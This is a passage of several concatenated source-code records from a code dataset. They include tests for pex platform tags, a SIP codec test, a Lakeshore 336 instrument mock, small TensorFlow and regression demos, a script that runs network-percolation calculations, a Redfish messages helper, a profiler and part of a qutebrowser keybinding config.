'none', 'any'),\n (impl_tag, get_abi_tag(), 'macosx_10_5_x86_64')\n ]\n )\n\n\ndef test_platform_supported_tags_osx_full():\n assert_tags(\n 'macosx-10.12-x86_64-cp-27-m',\n EXPECTED_BASE + [\n ('cp27', 'cp27m', 'macosx_10_4_intel'),\n ('cp27', 'cp27m', 'macosx_10_5_x86_64'),\n ('cp27', 'cp27m', 'macosx_10_6_x86_64'),\n ('cp27', 'cp27m', 'macosx_10_7_x86_64'),\n ('cp27', 'cp27m', 'macosx_10_8_x86_64'),\n ('cp27', 'cp27m', 'macosx_10_9_x86_64'),\n ('cp27', 'cp27m', 'macosx_10_10_x86_64'),\n ('cp27', 'cp27m', 'macosx_10_11_x86_64'),\n ('cp27', 'cp27m', 'macosx_10_12_x86_64'),\n ]\n )\n\n\ndef test_pypy_abi_prefix():\n assert_tags(\n 'linux-x86_64-pp-260-pypy_41',\n [\n ('pp260', 'pypy_41', 'linux_x86_64'),\n ]\n )\n\n\n# NB: Having to patch here is a symptom of https://github.com/pantsbuild/pex/issues/694\n# Kill when the Platform API is fixed to not need to consult the local interpreter.\n@patch('pex.pep425tags.get_extension_suffixes', lambda: ['.abi3.so'])\ndef test_platform_supported_tags_abi3():\n tags = Platform.create('linux-x86_64-cp-37-m').supported_tags()\n expected_tags = [\n ('cp37', 'cp37m', 'linux_x86_64'),\n ('cp37', 'cp37m', 'manylinux1_x86_64'),\n ('cp37', 'abi3', 'linux_x86_64'),\n ('cp37', 'abi3', 'manylinux1_x86_64'),\n ('cp37', 'none', 'linux_x86_64'),\n ('cp37', 'none', 'manylinux1_x86_64'),\n ('cp36', 'abi3', 'linux_x86_64'),\n ('cp36', 'abi3', 'manylinux1_x86_64'),\n ('cp35', 'abi3', 'linux_x86_64'),\n ('cp35', 'abi3', 'manylinux1_x86_64'),\n ('cp34', 'abi3', 'linux_x86_64'),\n ('cp34', 'abi3', 'manylinux1_x86_64'),\n ('cp33', 'abi3', 'linux_x86_64'),\n ('cp33', 'abi3', 'manylinux1_x86_64'),\n ('cp32', 'abi3', 'linux_x86_64'),\n ('cp32', 'abi3', 'manylinux1_x86_64'),\n ('py3', 'none', 'linux_x86_64'),\n ('py3', 'none', 'manylinux1_x86_64'),\n ('cp37', 'none', 'any'),\n ('cp3', 'none', 'any'),\n ('py37', 'none', 'any'),\n ('py3', 'none', 'any'),\n ('py36', 'none', 'any'),\n ('py35', 'none', 'any'),\n ('py34', 'none', 'any'),\n ('py33', 'none', 'any'),\n ('py32', 'none', 'any'),\n ('py31', 'none', 'any'),\n ('py30', 'none', 'any'),\n ]\n assert expected_tags == tags\n\n\n# NB: Having to patch here is a symptom of https://github.com/pantsbuild/pex/issues/694\n# Kill when the Platform API is fixed to not need to consult the local interpreter.\n@patch('pex.pep425tags.get_extension_suffixes', lambda: [])\ndef test_platform_supported_tags_no_abi3():\n tags = Platform.create('linux-x86_64-cp-37-m').supported_tags()\n expected_tags = [\n ('cp37', 'cp37m', 'linux_x86_64'),\n ('cp37', 'cp37m', 'manylinux1_x86_64'),\n ('cp37', 'none', 'linux_x86_64'),\n ('cp37', 'none', 'manylinux1_x86_64'),\n ('py3', 'none', 'linux_x86_64'),\n ('py3', 'none', 'manylinux1_x86_64'),\n ('cp37', 'none', 'any'),\n ('cp3', 'none', 'any'),\n ('py37', 'none', 'any'),\n ('py3', 'none', 'any'),\n ('py36', 'none', 'any'),\n ('py35', 'none', 'any'),\n ('py34', 'none', 'any'),\n ('py33', 'none', 'any'),\n ('py32', 'none', 'any'),\n ('py31', 'none', 'any'),\n ('py30', 'none', 'any'),\n ]\n assert expected_tags == tags\n","sub_path":"tests/test_platform.py","file_name":"test_platform.py","file_ext":"py","file_size_in_byte":5223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"518912784","text":"\"\"\"\nCopyright (c) 2018 Cisco Systems, Inc.\n\nAuthor:\n Christian Oeien \n Michael Jiang \n Sheng-Han Chen \n\"\"\"\nfrom tng.api import runner\nfrom tng_sl.contrib.pitstop_helper import PitstopTestCase\nfrom pitstop.exp import (\n Receive, Sift, Poll, Wait, LocalOffer,\n Command, Send, RemoteAnswer, NoTransition, Flag)\n\n\nclass Test(PitstopTestCase):\n '''When DUT recieves iLBC mode 30 offer, responds with correct\n mode=30 and correct AVT\n Run only on 11.2.1+.'''\n\n def test_recieve_ilbc_30_only(self):\n # set to non-preferred so that it doesn't auto-select default\n self.conf.edit(\"Preferred_Codec_1_\", \"G722\")\n\n def media(pt):\n return lambda rtp: rtp.payload_type == pt\n\n ilbc_30_rtpmap = \"a=rtpmap:105 iLBC/8000\"\n ilbc_30_fmtp = \"a=fmtp:105 mode=30\"\n ilbc_30 = ilbc_30_rtpmap + \"\\n\" + ilbc_30_fmtp\n telephone_event_rtpmap = \"a=rtpmap:101 telephone-event/8000\"\n telephone_event_fmtp = \"a=fmtp:101 0-15\"\n telephone_event = telephone_event_rtpmap + \"\\n\" + telephone_event_fmtp\n\n self.spec.update({\"test\": [\n Wait(\"idle\").then([\n LocalOffer(\n \"localSdp\", \"m=audio _ _ 105 101 0\\n{}\\n{}\".format(\n ilbc_30, telephone_event)),\n Send(\"INVITE\", {\"\\n\": \"$localSdp\"}, transaction_label=\"i\")]),\n Receive(\"18.\", {}, on_transaction=\"i\").then([\n NoTransition(\"i\"), Command(self.dut.accept_call)]),\n Receive(\n \"200\", {}, on_transaction=\"i\",\n verify=[\n ('\\n', 'm=audio \\d+ \\S+ 105'),\n ('\\n', ilbc_30_rtpmap),\n ('\\n', ilbc_30_fmtp),\n ('\\n', telephone_event_rtpmap),\n ('\\n', telephone_event_fmtp)]\n ).then([]),\n Receive(\"200\", {}, on_transaction=\"i\", dialog_label=\"d\", captures={\n \"remoteSdp\": \"\\n(^v=0.+)\"}).then([\n RemoteAnswer(\"$remoteSdp\"),\n Send(\"ACK\", {}, in_dialog=\"d\")]),\n Sift(media(105)), # default codec type in pitstop cfg\n Poll(self.dut.is_active_call).then([Command(self.dut.end_call)]),\n Receive(\"BYE\", {}, in_dialog=\"d\", transaction_label=\"b\").then([\n Send(\"200\", {}, on_transaction=\"b\")]),\n Poll(self.dut.is_line_idle).then([Flag(\"idle\")])]})\n\n self.pitstop([\"udp\"])\n\n\ndef main():\n runner()\n","sub_path":"pitstop_tests/dyn_codec/recieve_ilbc_30_only.py","file_name":"recieve_ilbc_30_only.py","file_ext":"py","file_size_in_byte":2602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"593569275","text":"import logging\nimport time\n\nfrom qcodes.instrument import InstrumentBase\nfrom qcodes.instrument_drivers.Lakeshore import LakeshoreModel336\n\nfrom .test_lakeshore import (\n DictClass,\n MockVisaInstrument,\n command,\n instrument_fixture,\n query,\n split_args,\n)\n\nlog = logging.getLogger(__name__)\n\nVISA_LOGGER = '.'.join((InstrumentBase.__module__, 'com', 'visa'))\n\n\nclass LakeshoreModel336Mock(MockVisaInstrument, LakeshoreModel336):\n def __init__(self, *args, **kwargs) -> None:\n super().__init__(*args, **kwargs)\n\n # initial values\n self.heaters: dict[str, DictClass] = {}\n self.heaters['1'] = DictClass(P=1, I=2, D=3,\n mode=1, # 'off'\n input_channel=1, # 'A'\n powerup_enable=0, polarity=0,\n use_filter=0, delay=1,\n output_range=0,\n setpoint=4)\n self.heaters['2'] = DictClass(P=1, I=2, D=3,\n mode=2, # 'closed_loop'\n input_channel=2, # 'B'\n powerup_enable=0, polarity=0,\n use_filter=0, delay=1,\n output_range=0,\n setpoint=4)\n self.heaters['3'] = DictClass(mode=4, # 'monitor_out'\n input_channel=2, # 'B'\n powerup_enable=0, polarity=0,\n use_filter=0, delay=1,\n output_range=0,\n setpoint=4)\n self.heaters['4'] = DictClass(mode=5, # 'warm_up'\n input_channel=1, # 'A'\n powerup_enable=0, polarity=0,\n use_filter=0, delay=1,\n output_range=0,\n setpoint=4)\n\n self.channel_mock = \\\n {str(i): DictClass(t_limit=i, T=4,\n sensor_name=f'sensor_{i}',\n sensor_type=1, # 'diode',\n auto_range_enabled=0, # 'off',\n range=0,\n compensation_enabled=0, # False,\n units=1) # 'kelvin')\n for i in self.channel_name_command.keys()}\n\n # simulate delayed heating\n self.simulate_heating = False\n self.start_heating_time = time.perf_counter()\n\n def start_heating(self):\n self.start_heating_time = time.perf_counter()\n self.simulate_heating = True\n\n def get_t_when_heating(self):\n \"\"\"\n Simply define a fixed setpoint of 4 k for now\n \"\"\"\n delta = abs(time.perf_counter() - self.start_heating_time)\n # make it simple to start with: linear ramp 1K per second\n # start at 7K.\n return max(4, 7 - delta)\n\n @query('PID?')\n def pidq(self, arg):\n heater = self.heaters[arg]\n return f'{heater.P},{heater.I},{heater.D}'\n\n @command('PID')\n @split_args()\n def pid(self, output, P, I, D): # noqa E741\n for a, v in zip([\"P\", \"I\", \"D\"], [P, I, D]):\n setattr(self.heaters[output], a, v)\n\n @query('OUTMODE?')\n def outmodeq(self, arg):\n heater = self.heaters[arg]\n return (f'{heater.mode},{heater.input_channel},'\n f'{heater.powerup_enable}')\n\n @command('OUTMODE')\n @split_args()\n def outputmode(self, output, mode, input_channel, powerup_enable):\n h = self.heaters[output]\n h.output = output\n h.mode = mode\n h.input_channel = input_channel\n h.powerup_enable = powerup_enable\n\n @query('INTYPE?')\n def intypeq(self, channel):\n ch = self.channel_mock[channel]\n return (f'{ch.sensor_type},'\n f'{ch.auto_range_enabled},{ch.range},'\n f'{ch.compensation_enabled},{ch.units}')\n\n @command('INTYPE')\n @split_args()\n def intype(self, channel, sensor_type, auto_range_enabled,\n range_, compensation_enabled, units):\n ch = self.channel_mock[channel]\n ch.sensor_type = sensor_type\n ch.auto_range_enabled = auto_range_enabled\n ch.range = range_\n ch.compensation_enabled = compensation_enabled\n ch.units = units\n\n @query('RANGE?')\n def rangeq(self, heater):\n h = self.heaters[heater]\n return f'{h.output_range}'\n\n @command('RANGE')\n @split_args()\n def range_cmd(self, heater, output_range):\n h = self.heaters[heater]\n h.output_range = output_range\n\n @query('SETP?')\n def setpointq(self, heater):\n h = self.heaters[heater]\n return f'{h.setpoint}'\n\n @command('SETP')\n @split_args()\n def setpoint(self, heater, setpoint):\n h = self.heaters[heater]\n h.setpoint = setpoint\n\n @query('TLIMIT?')\n def tlimitq(self, channel):\n chan = self.channel_mock[channel]\n return f'{chan.tlimit}'\n\n @command('TLIMIT')\n @split_args()\n def tlimitcmd(self, channel, tlimit):\n chan = self.channel_mock[channel]\n chan.tlimit = tlimit\n\n @query('KRDG?')\n def temperature(self, output):\n chan = self.channel_mock[output]\n if self.simulate_heating:\n return self.get_t_when_heating()\n return f'{chan.T}'\n\n\n@instrument_fixture(scope=\"function\", name=\"lakeshore_336\")\ndef _make_lakeshore_336():\n return LakeshoreModel336Mock(\n \"lakeshore_336_fixture\",\n \"GPIB::2::INSTR\",\n pyvisa_sim_file=\"lakeshore_model336.yaml\",\n device_clear=False,\n )\n\n\ndef test_pid_set(lakeshore_336) -> None:\n ls = lakeshore_336\n P, I, D = 1, 2, 3 # noqa E741\n # Only current source outputs/heaters have PID parameters,\n # voltages source outputs/heaters do not.\n outputs = [ls.output_1, ls.output_2]\n for h in outputs: # a.k.a. heaters\n h.P(P)\n h.I(I)\n h.D(D)\n assert (h.P(), h.I(), h.D()) == (P, I, D)\n\n\ndef test_output_mode(lakeshore_336) -> None:\n ls = lakeshore_336\n mode = 'off'\n input_channel = 'A'\n powerup_enable = True\n outputs = [getattr(ls, f'output_{n}') for n in range(1, 5)]\n for h in outputs: # a.k.a. heaters\n h.mode(mode)\n h.input_channel(input_channel)\n h.powerup_enable(powerup_enable)\n assert h.mode() == mode\n assert h.input_channel() == input_channel\n assert h.powerup_enable() == powerup_enable\n\n\ndef test_range(lakeshore_336) -> None:\n ls = lakeshore_336\n output_range = 'medium'\n outputs = [getattr(ls, f'output_{n}') for n in range(1, 5)]\n for h in outputs: # a.k.a. heaters\n h.output_range(output_range)\n assert h.output_range() == output_range\n\n\ndef test_tlimit(lakeshore_336) -> None:\n ls = lakeshore_336\n tlimit = 5.1\n for ch in ls.channels:\n ch.t_limit(tlimit)\n assert ch.t_limit() == tlimit\n\n\ndef test_setpoint(lakeshore_336) -> None:\n ls = lakeshore_336\n setpoint = 5.1\n outputs = [getattr(ls, f'output_{n}') for n in range(1, 5)]\n for h in outputs: # a.k.a. heaters\n h.setpoint(setpoint)\n assert h.setpoint() == setpoint\n\n\ndef test_select_range_limits(lakeshore_336) -> None:\n h = lakeshore_336.output_1\n ranges = [1, 2, 3]\n h.range_limits(ranges)\n\n for i in ranges:\n h.set_range_from_temperature(i - 0.5)\n assert h.output_range() == h.INVERSE_RANGES[i]\n\n i = 3\n h.set_range_from_temperature(i + 0.5)\n assert h.output_range() == h.INVERSE_RANGES[len(ranges)]\n\n\ndef test_set_and_wait_unit_setpoint_reached(lakeshore_336) -> None:\n ls = lakeshore_336\n ls.output_1.setpoint(4)\n ls.start_heating()\n ls.output_1.wait_until_set_point_reached()\n\n\ndef test_blocking_t(lakeshore_336) -> None:\n ls = lakeshore_336\n h = ls.output_1\n ranges = [1.2, 2.4, 3.1]\n h.range_limits(ranges)\n ls.start_heating()\n h.blocking_t(4)\n","sub_path":"qcodes/tests/drivers/test_lakeshore_336.py","file_name":"test_lakeshore_336.py","file_ext":"py","file_size_in_byte":8209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"69412783","text":"import numpy as np\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LinearRegression\n\ndef createFunction():\n beta0=2;beta1=3\n stdDeviation=1;ErrMean=0;numberSamples=100\n error=np.random.normal(loc=ErrMean,scale=stdDeviation,size=numberSamples)\n x=np.linspace(-2,2,numberSamples)\n y=beta0+beta1*x+error\n y=y.reshape(-1,1);x=x.reshape(-1,1)\n return x,y\n","sub_path":"Learning/linear_regression.py","file_name":"linear_regression.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"524149736","text":"#!/usr/bin/python\n# -*- coding: utf8 -*- \n# ========================================================================\n# packages\n#================================================\nfrom numpy import arange\nfrom random import randint\nimport os,sys\n\n\n# ========================================================================\n# What to run?\n# ===============================================\nrun_all = False\n\nrun_analytical = True\nrun_numerical = False\n\n\n\n\n\n# ========================================================================\n# Parameters\n# ===============================================\n# distribution filename\nP_dist_filename = \"PolishGrid_HRN_P.txt\"\nR_dist_filename = \"PolishGrid_HRN_R.txt\"\n# output filenames\noutput_filename_analytical = 'PolishGrid_HRN_analytical.plt'\noutput_filename_numerical = 'PolishGrid_HRN_numerical.plt'\n# output_filename_analytical = 'test2_analytical.plt'\n# output_filename_numerical = 'test2_numerical.plt'\n# P_dist_filename = \"test2_P.txt\"\n# R_dist_filename = \"test2_R.txt\"\n# probability T\ntheo_T_inc = 0.001\ntheo_T_min = theo_T_inc\ntheo_T_max = 1.0\nnum_T_inc = 0.02\nnum_T_min = num_T_inc\nnum_T_max = 1.0\n# other parameters\nr = 1.0\nnb_nodes = 100000\nnb_graphs_to_gen = 10\nnb_sims_per_graph = 10\n\n\n\n\n\n# ========================================================================\n# Numerical\n# ===============================================\nif( run_all | run_numerical ):\n # prints information on screen\n sys.stdout.write(\"Initializing numerical calculations...\\r\")\n sys.stdout.flush()\n # removes previous output file, if any\n os.system('rm -f ' + output_filename_numerical)\n # compiles the c++ code\n os.system('g++ -std=c++11 -O3 numerical_calculations.cpp -o numerical_calculations -lcln')\n # computes the size of the giant component for each value of r\n for T in arange(num_T_min,num_T_max+num_T_inc,num_T_inc):\n # prints information on screen\n sys.stdout.write(\"Numerical calculations for T= %.6f \\r\" % (T) )\n sys.stdout.flush()\n # runs the calculation\n execution_line = './numerical_calculations ' + output_filename_numerical + ' ' + P_dist_filename + ' ' + R_dist_filename + ' ' + str(r) + ' ' + str(T) + ' ' + str(nb_nodes) + ' ' + str(nb_graphs_to_gen) + ' ' + str(nb_sims_per_graph) + ' ' + str(randint(1,1e9))\n os.system(execution_line)\n # removes the binary file\n os.system('rm -f numerical_calculations')\n # prints information on screen\n sys.stdout.write(\"Numerical calculations completed. \\n\" )\n sys.stdout.flush()\n\n# ========================================================================\n# Analytical\n# ===============================================\nif( run_all | run_analytical ):\n # prints information on screen\n sys.stdout.write(\"Initializing analytical calculations...\\r\")\n sys.stdout.flush()\n # removes previous output file, if any\n os.system('rm -f ' + output_filename_analytical)\n # compiles the c++ code\n os.system('g++ -std=c++11 -O3 analytical_calculations.cpp -o analytical_calculations -lcln')\n # computes the size of the giant component for each value of r\n for T in arange(theo_T_min,theo_T_max+theo_T_inc,theo_T_inc):\n # prints information on screen\n sys.stdout.write(\"Analytical calculations for T= %.6f \\r\" % (T) )\n sys.stdout.flush()\n # runs the calculation\n execution_line = './analytical_calculations ' + output_filename_analytical + ' ' + P_dist_filename + ' ' + R_dist_filename + ' ' + str(r) + ' ' + str(T)\n os.system(execution_line)\n # removes the binary file\n os.system('rm -f analytical_calculations')\n # prints information on screen\n sys.stdout.write(\"Analytical calculations completed. \\n\" )\n sys.stdout.flush()\n","sub_path":"examples/HRN/run_calculations.py","file_name":"run_calculations.py","file_ext":"py","file_size_in_byte":3692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"348163221","text":"\n# coding: utf-8\n\n# In[5]:\n\n\nfrom __future__ import division, print_function\nimport tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\n# In[6]:\n\n\nsess = tf.InteractiveSession() # We need a session for actual values to flow through computation graph\n\n\n# In[7]:\n\n\n## TODO: We want to multiply 2x3 and 3x1 matrixes x and y, and add a 3x1 vector z\nx = np.random.random((2,3))\ny = np.random.random((3,1))\nz = np.random.random((2,1))\n\nprint('x:', x, sep='\\n')\nprint('y:', y, sep='\\n')\nprint('z:', z, sep='\\n')\n\n\n# In[30]:\n\n\n## numpy Version\n\nfinal_np = np.mean(np.matmul(x,y) + z)\nfinal_np\n\n\n# In[31]:\n\n\n# tensorflow version\nfinal_tf = tf.reduce_mean(tf.matmul(x,y) + z)\nfinal_tf\n\n\n# In[15]:\n\n\n# To get an actual value, we need to run in a session\nprint('sess run: ', sess.run(final_tf))\n# We can also call a tensor's eval method and pass in a session\nprint('eval sess:', final_tf.eval(session=sess))\n# When using eval with an interactive session, the session argument is optional\nprint('eval sess:', final_tf.eval())\n\n\n# In[16]:\n\n\n## Batched operations\n\n# Here we will perform batched matrix multiplication\nbatch_size = 5\nN, M, K = 2,3,2\n# a_batch is a batch of 5 NxM matrices\n# b_batch is a batch of 5 MxK matrices\na_batch = np.random.random((batch_size, N, M))\nb_batch = np.random.random((batch_size, M, K))\n\nout = tf.matmul(a_batch,b_batch)\n# out is the batch of 5 NxK matrices that result from the batch of products\nsess.run(out)\n\n## Is it kind of weird that we need to sess.run to get a constant value?\n\n\n# In[18]:\n\n\n# In tensorflow, we typically have runtime values in our computation graph\n# in some sense, each node in the graph is a function of `Placeholders` that flow into it\n\n# So a function like this is numpy\ndef matmul_and_add(x,y,z):\n return np.matmul(x,y)+z\n\n# Could be expressed as the following computational graph\nN,M,K= 2,3,2\n# We'll be multiplying an NxM and MxK matrices and adding a Kx1 vector\nx_ph = tf.placeholder(tf.float32, shape=[N,M])\ny_ph = tf.placeholder(tf.float32, shape=[M,K])\nz_ph = tf.placeholder(tf.float32, shape=[K])\nxy = tf.matmul(x_ph,y_ph)\nout = xy+z_ph\n\n\n# In[19]:\n\n\nx = np.random.randint(0,5,[N,M]).astype(np.float32)\ny = np.random.randint(0,5,[M,K]).astype(np.float32)\nz = np.random.randint(0,5,[K])\n\nprint('x:', x, sep='\\n')\nprint('y:', y, sep='\\n')\nprint('z:', z, sep='\\n')\n\ntf_out = sess.run(out, feed_dict={x_ph:x, y_ph:y, z_ph:z})\nnp_out = matmul_and_add(x,y,z)\nprint(\"\\n\\nOUTPUTS \\n\")\nprint('np: \\n',np_out)\nprint('tf: \\n',tf_out)\n\n\n# In[22]:\n\n\n# Make sure you feed all required tensors before calling sess.run\ntf_out = sess.run(out, feed_dict={x_ph:x, y_ph:y, z_ph:z})\n\n\n# In[28]:\n\n\n#Notices that basic indexing works\nones = tf.ones(10)\nprint(sess.run(ones))\nprint(sess.run(ones[:3]))\n\n# But assignment to tf tensors doesn't work\n#ones[:3]=5\n# Could be a problem, since we want to change network weights as we learn.\n\n\n# In[29]:\n\n\n# Actually not a problem.\n# We use variables for Tensors which have values that we wish to change\nones = tf.Variable(tf.ones([10]))\nupdate = ones[:4].assign(np.full(4,5))\n\n# The variables initializer is an operation to set the initial values\n# We need to run it before we can use the values of a Variable\n\nsess.run(tf.global_variables_initializer())\nones_val = sess.run(ones)\nsess.run(update)\nupdate_val = sess.run(ones)\n\nprint('ones val', ones_val)\nprint('updated val', update_val)\n\n","sub_path":"demos/basics.py","file_name":"basics.py","file_ext":"py","file_size_in_byte":3385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"230127581","text":"#! /usr/bin/python\n# Copyright Notice:\n# Copyright 2019-2020 DMTF. All rights reserved.\n# License: BSD 3-Clause License. For full text see link: https://github.com/DMTF/Redfish-Tacklebox/blob/main/LICENSE.md\n\n\"\"\"\nMessages Module\n\nFile : messages.py\n\nBrief : This file contains the definitions and functionalities for interacting\n with Messages for a given Redfish service\n\"\"\"\n\nclass RedfishOperationFailedError( Exception ):\n \"\"\"\n Raised when an operation has failed (HTTP Status >= 400)\n \"\"\"\n pass\n\ndef print_error_payload( response ):\n \"\"\"\n Prints an error payload, which can also be used for action responses\n\n Args:\n response: The response to print\n \"\"\"\n\n try:\n print( get_error_messages( response ) )\n except:\n # No response body\n if response.status >= 400:\n print( \"Failed\" )\n else:\n print( \"Success\" )\n\ndef get_error_messages( response ):\n \"\"\"\n Builds a string based on the error messages in the payload\n\n Args:\n response: The response to print\n\n Returns:\n The string containing error messages\n \"\"\"\n\n # Pull out the error payload and the messages\n out_string = response.dict[\"error\"][\"message\"]\n if \"@Message.ExtendedInfo\" in response.dict[\"error\"]:\n for message in response.dict[\"error\"][\"@Message.ExtendedInfo\"]:\n if \"Message\" in message:\n out_string = out_string + \"\\n\" + message[\"Message\"]\n else:\n out_string = out_string + \"\\n\" + message[\"MessageId\"]\n\n return out_string\n\ndef verify_response( response ):\n \"\"\"\n Verifies a response and raises an exception if there was a failure\n\n Args:\n response: The response to verify\n \"\"\"\n\n if response.status >= 400:\n exception_string = get_error_messages( response )\n raise RedfishOperationFailedError( \"Operation failed: HTTP {}\\n{}\".format( response.status, exception_string ) )\n\n return\n","sub_path":"redfish_utilities/messages.py","file_name":"messages.py","file_ext":"py","file_size_in_byte":1973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"279678438","text":"\"\"\"\nAuthor: Jacob London\n\nDate Modified: March 4, 2019\n\"\"\"\n\nimport time\n\nclass Profiler(object):\n\n def __init__(self, printing=False):\n self.times = []\n self.start = time.time()\n self.end = 0\n self.printing = printing\n\n self.lchar = '='\n self.lwidth = 40\n self.dlen = 15\n\n if self.printing:\n print('\\nReal Time Profile:')\n self.printline()\n\n def mark(self, name):\n self.times.append((name, time.time()))\n if self.printing:\n print(name + ':', time.time() - self.start)\n \n def stop(self):\n self.end = time.time()\n\n def printline(self):\n print(self.lchar * self.lwidth)\n\n def display(self):\n \n # get cumulative time\n if self.end == 0:\n self.stop()\n total = self.end - self.start\n\n table = ''\n\n # find the time for each individual step\n for index in range(len(self.times)):\n name = self.times[index][0] + ':'\n duration = self.times[index][1]\n\n # find the differences b/w the current/prev times for cumulative\n if index == 0:\n prev_time = self.start\n else:\n prev_time = self.times[index - 1][1]\n \n # get cumulative time, and total percent that time was\n cumulative = duration - prev_time\n percentage = cumulative / total * 100\n\n # put the data into the table for printing\n time = str(name) + '\\n\\t' + str(cumulative)[:self.dlen] + 's'\n percent = '\\n\\t' + str(percentage)[:self.dlen] + '%'\n table += time + percent + '\\n'\n\n # display data\n print()\n self.printline()\n print('\\tTotal:', str(total) + 's')\n self.printline()\n print(table)\n self.printline()\n print()\n","sub_path":"Implementation/Python/util/profiler.py","file_name":"profiler.py","file_ext":"py","file_size_in_byte":1880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"586340933","text":"import os\n\n# mypy: ignore-errors\n\nc = c # type: ignore # noqa: F821\nconfig = config # type: ignore # noqa: F821\n\nc.bindings.commands = {\n \"normal\": {\n \"J\": \"forward\",\n \"K\": \"back\",\n \"H\": \"tab-prev\",\n \"L\": \"tab-next\",\n \"<\": \"tab-move -\",\n \">\": \"tab-move +\",\n \"gJ\": \"forward -t\",\n \"gK\": \"back -t\",\n \"wao\": \"open -w {url}\",\n \"waO\": \"open -w {url} ;; tab-close\",\n \"cm\": \"clear-messages ;; download-clear\",\n # Swap ; and :\n \";\": \"cmd-set-text :\",\n \":I\": \"hint images tab\",\n \":O\": \"hint links fill :open -t -r {hint-url}\",\n \":R\": \"hint --rapid links window\",\n \":Y\": \"hint links yank-primary\",\n \":b\": \"hint all tab-bg\",\n \":d\": \"hint links download\",\n \":f\": \"hint all tab-fg\",\n \":h\": \"hint all hover\",\n \":i\": \"hint images\",\n \":o\": \"hint links fill :open {hint-url}\",\n \":r\": \"hint --rapid links tab-bg\",\n \":t\": \"hint inputs\",\n # Open tabs in the newest window\n \":w\": (\n \"set new_instance_open_target_window last-opened;; set\"\n \" new_instance_open_target tab-silent;; hint --rapid links userscript\"\n \" ~/.config/qutebrowser/userscripts/open_rapid_tabs_in_new_window\"\n ),\n # Needed to revert the changes that :w does\n \"\": (\n \"clear-keychain ;; search ;; fullscreen --leave;; set\"\n \" new_instance_open_target_window last-focused;; set\"\n \" new_instance_open_target tab\"\n ),\n \":y\": \"hint links yank\",\n \":e\": \"hint id userscript ~/.config/qutebrowser/userscripts/yank_link_id\",\n \":a\": (\n \"spawn --userscript ~/.config/qutebrowser/userscripts/yank_amazon_lib_gen\"\n ),\n # Override f and F by download documents from libgen\n \":p\": \"hint all userscript ~/.config/qutebrowser/userscripts/override_f\",\n \"q\": \"close\",\n \"Q\": \"quit\",\n # Sourcing files\n \"es\": \"spawn bash -ic rcqutebrowser\",\n \"ss\": 'config-source ;; message-info \"Configuration file sourced\"',\n # Clear search\n \"h\": \"search\",\n \"c\": (\n \"spawn --userscript ~/.config/qutebrowser/userscripts/qute_org_capture\"\n ),\n # Open/Delete download files\n \"od\": (\n \"spawn --userscript ~/.config/qutebrowser/userscripts/open_download\"\n ),\n \"ord\": (\n \"spawn --userscript ~/.config/qutebrowser/userscripts/open_download\"\n \" --recent\"\n ),\n \"dd\": (\n \"spawn --userscript ~/.config/qutebrowser/userscripts/open_download\"\n \" --delete\"\n ),\n \"drd\": (\n \"spawn --userscript ~/.config/qutebrowser/userscripts/open_download\"\n \" --delete --recent\"\n ),\n \"\": \"spawn --userscript ~/.config/qutebrowser/userscripts/insert_info\",\n # Yank/Goto URL without anchors\n \"yp\": (\n \"spawn --userscript\"\n \" ~/.config/qutebrowser/userscripts/yank_url_with_scroll_link_handler\"\n ),\n \"gc\": (\n \"spawn --userscript\"\n \" ~/.config/qutebrowser/userscripts/go_to_url_without_anchors\"\n ),\n # Yanking URLs\n \"ya\": \"spawn --userscript ~/.config/qutebrowser/userscripts/yank_all\",\n \"yh\": (\n \"spawn --userscript\"\n \" ~/.config/qutebrowser/userscripts/yank_url_with_highlighted_text\"\n ),\n \"yo\": \"spawn --userscript ~/.config/qutebrowser/userscripts/yank_org_link\",\n \"yc\": ( # Github repo names only\n \"spawn --userscript ~/.config/qutebrowser/userscripts/yank_org_link --clean\"\n ),\n \"yl\": \"spawn --userscript ~/.config/qutebrowser/userscripts/yank_latex_link\",\n \"ys\": \"spawn --userscript ~/.config/qutebrowser/userscripts/link_shortener\",\n # Google search\n \"gs\": \"spawn --userscript ~/.config/qutebrowser/userscripts/google_search\",\n \"gS\": \"spawn --userscript ~/.config/qutebrowser/userscripts/google_search tab\",\n # Go to domain or github project's root\n \"gr\": \"spawn --userscript ~/.config/qutebrowser/userscripts/go_to_root\",\n \"gR\": \"spawn --userscript ~/.config/qutebrowser/userscripts/go_to_root tab\",\n \"wr\": \"spawn --userscript ~/.config/qutebrowser/userscripts/go_to_root window\",\n # Overrides gt, by allowing chosen tabs in hidden workspaces to be focused\n \"gt\": \"spawn --userscript ~/.config/qutebrowser/userscripts/override_gt\",\n # Check open ports\n \"gl\": (\n \"spawn --userscript ~/.config/qutebrowser/userscripts/open_localhost list\"\n ),\n # Create session and store command to open it in clipboard\n \"ss\": (\n \"spawn --userscript ~/.config/qutebrowser/userscripts/create_yank_session\"\n ),\n # Google translate\n \"t\": (\n \"spawn --userscript ~/.config/qutebrowser/userscripts/qute_translate\"\n ),\n # Use instead of for passthrough mode\n \"\": \"nop\",\n \"\": \"mode-enter passthrough\",\n # Password manager\n \"\": \"spawn --userscript ~/.config/qutebrowser/userscripts/qute_bitwarden\",\n \"\": (\n \"spawn --userscript ~/.config/qutebrowser/userscripts/qute_bitwarden\"\n \" --username-only\"\n ),\n \"

